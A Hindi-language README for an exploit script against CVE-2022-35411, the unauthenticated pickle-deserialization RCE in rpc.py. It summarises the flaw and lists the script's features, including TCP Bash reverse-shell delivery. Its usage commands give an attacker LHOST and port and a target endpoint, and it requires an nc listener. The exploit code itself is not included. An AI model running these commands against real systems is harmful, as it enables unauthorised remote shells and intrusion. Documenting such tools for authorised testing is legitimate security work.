rpc.py RCE शोषण (CVE-2022-35411)

यह CVE-2022-35411 के लिए एक अद्यतन और बेहतर शोषण है, जो rpc.py के असुरक्षित संस्करणों (<= 0.6.0) को लक्षित करता है।
यह Python pickle डिसीरियलाइज़ेशन के माध्यम से अप्रमाणित दूरस्थ कोड निष्पादन (RCE) की अनुमति देता है।

मूल शोषण: Elias Hohl
उन्नत: x7331 द्वारा उपयोगिता, पोर्टेबिलिटी और स्वचालन के लिए

कमजोरी का सारांश

कमजोरी rpc.py के Python के pickle मॉड्यूल के असुरक्षित उपयोग में निहित है, जो तैयार किए गए पेलोड को बिना प्रमाणीकरण के मनमाने आदेश निष्पादित करने की अनुमति देती है।

• CVE ID: CVE-2022-35411
• प्रभावित संस्करण: rpc.py v0.4.2 – v0.6.0
• शोषण प्रकार: अप्रमाणित दूरस्थ कोड निष्पादन (RCE)

परिवर्तन

• ✅ argparse पर स्विच किया गया जिसमें --lhost, --lport, --target, और --dry-run फ्लैग हैं
• ✅ स्वच्छ, मॉड्यूलर कोड संरचना
• ✅ वैकल्पिक रिवर्स शेल वितरण (TCP Bash)
• ✅ कर्ल परीक्षण पेलोड (सुरक्षित मोड)
• ✅ लॉगिंग समर्थन और स्वच्छ आउटपुट
• ✅ -h / --help के माध्यम से उचित उपयोग मार्गदर्शन
• ✅ स्पष्टता के लिए मेटाडेटा और इनलाइन टिप्पणियाँ

उपयोग

रिवर्स शेल उदाहरण

python3 rpc-rce.py --lhost 10.10.14.1 --lport 9001

ड्राई रन (कोई शेल नहीं, केवल कर्ल परीक्षण)

python3 rpc-rce.py --lhost 10.10.14.1 --lport 9001 --dry-run

कस्टम लक्ष्य (वैकल्पिक)

python3 rpc-rce.py --lhost 10.10.14.1 --lport 9001 --target http://victim.internal:65432/sayhi

आवश्यकताएँ

• Python 3.x
• requests लाइब्रेरी (pip install requests से इंस्टॉल करें)
• आपके LHOST पर एक लिसनर (जैसे, nc -lvnp 9001)
• असुरक्षित rpc.py सर्वर चल रहा हो

कानूनी और नैतिक सूचना

यह शोषण केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए प्रदान किया गया है। इसे उन सिस्टमों पर उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति नहीं है।